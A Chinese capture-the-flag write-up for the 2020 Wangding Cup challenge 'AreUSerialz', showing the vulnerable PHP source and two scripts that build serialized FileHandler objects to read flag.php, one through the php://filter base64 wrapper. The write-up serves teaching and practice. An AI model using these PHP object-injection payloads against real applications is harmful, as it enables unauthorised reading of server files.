[网鼎杯 2020 青龙组]AreUSerialz
作者:互联网
看到这道题很简单,啪的一下就点进来了,很快啊!
打开环境,看到了一堆代码,老规矩,进行代码审计
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
重点是在这个代码中有一个op变量,当op=1时为写,当op=2时是读
而且下面存在对代码的反序列化
发现读是用file_get_contents,file_get_contents是能用php伪协议的。
开始构造语句
对了记得将protected改为public,不然protected会输出%00(private也一样会输出%00)【因为题目对ascii有限制】
<?php
class FileHandler {
public $op=2;
public $filename='php://filter/read=convert.base64-encode/resource=flag.php';
public $content;
}
$daidaiAOE=new FileHandler;
echo serialize($daidaiAOE);
?>
得到base64编码的flag.php
解码拿到flag
还有一种方法,直接反序列化读取flag
<?php
class FileHandler {
public $op=2;
public $filename='flag.php';
public $content;
}
$daidaiAOE=new FileHandler;
echo serialize($daidaiAOE);
?>
能直接拿到flag何必使用伪协议多此一举。
标签:AreUSerialz,res,filename,content,2020,output,网鼎杯,public,op 来源: https://blog.csdn.net/weixin_44502336/article/details/115493162